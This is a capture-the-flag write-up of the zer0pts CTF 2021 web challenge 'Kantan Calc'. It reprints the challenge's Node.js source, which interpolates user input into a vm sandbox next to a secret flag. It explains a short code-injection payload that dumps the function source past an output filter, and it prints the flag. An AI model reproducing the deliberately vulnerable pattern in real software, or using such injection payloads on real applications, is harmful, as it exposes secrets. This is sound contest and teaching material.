Tags: js javascript web code-injection
Rating:
# zer0pts CTF 2021 – Kantan Calc
* **Category:** web
* **Points:** 135
## Challenge
> "Kantan" means simple or easy in Japanese.
>
> http://web.ctf.zer0pts.com:8002/
>
> author:st98
## Solution
The challenge gives you an [attachment](https://github.com/m3ssap0/CTF-Writeups/blob/master/zer0pts%20CTF%202021/Kantan%20Calc/kantan_calc_a4f3130c72d9093ab206a29e27e40123.tar.gz?raw=true) containing the source code: [app.js](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Kantan%20Calc/kantan_calc/app.js).
```javascript
const express = require('express');
const path = require('path');
const vm = require('vm');
const FLAG = require('./flag');
const app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
if (output.includes('zer0pts')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}
res.render('index', { title: 'Kantan Calc', output });
});
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});
module.exports = app;
```
The website is a some sort of calculator.
Even if several articles on how to escape `vm` sandbox can be found on the Internet, here the point is to dump the source code of the defined function.
Two constraints are present:
1. the payload must be lesser than 30 chars;
2. if the output contains `zer0pts`, so the starting part of the flag, it will be blocked.
This is a *code injection* challenge.
First of all, a JavaScript named function can print itself, with comments, if its name is returned.
```javascript
(function p() { return p; /* Comment. */ })()
```
The structure of the given script can be seen as something like `(x, y)()`.
If you try to exfiltrate the function source code in this way, you will be blocked by the check on the output content, because the output is converted to a string and checked for the presence of `zer0pts`.
In JavaScript you can convert a string to an array of chars with the following clause: `[...p]`. With this trick you could bypass the check on the content.
But you can't execute that clause directly on `p` because it `is not iterable`. So you have to convert it to a string with a concatenation.
Putting all together, you can have the following payload.
```javascript
},function p(){return[...p+1]
```
The flag is the following.
```
zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}
```